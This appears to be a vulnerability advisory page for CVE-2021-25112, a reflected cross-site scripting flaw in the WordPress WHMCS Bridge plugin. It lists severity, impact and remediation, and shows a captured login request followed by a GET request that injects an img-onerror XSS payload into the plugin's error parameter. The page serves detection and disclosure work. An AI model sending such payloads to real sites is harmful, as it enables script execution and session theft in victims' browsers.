🔙 목록으로 돌아가기

CVE-2021-25112: WordPress WHMCS Bridge <6.4b - Cross-Site Scripting

TitleWordPress WHMCS Bridge <6.4b - Cross-Site Scripting
AuthordhiyaneshDk
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpdate WordPress WHMCS Bridge to version 6.4b or later to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.05226
CVE IDCVE-2021-25112
CWE IDCWE-79
Tags cve2021 cve whmcs xss wpscan wordpress wp-plugin wp authenticated i-plugins vuln

🔍 Vulnerability Description

WordPress WHMCS Bridge plugin before 6.4b contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the error parameter before outputting it back in the admin dashboard.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.3
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip

log=hkZ8Gz&pwd=7tDKcm&wp-submit=Log+In&testcookie=1
GET /wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25112.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-25112.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A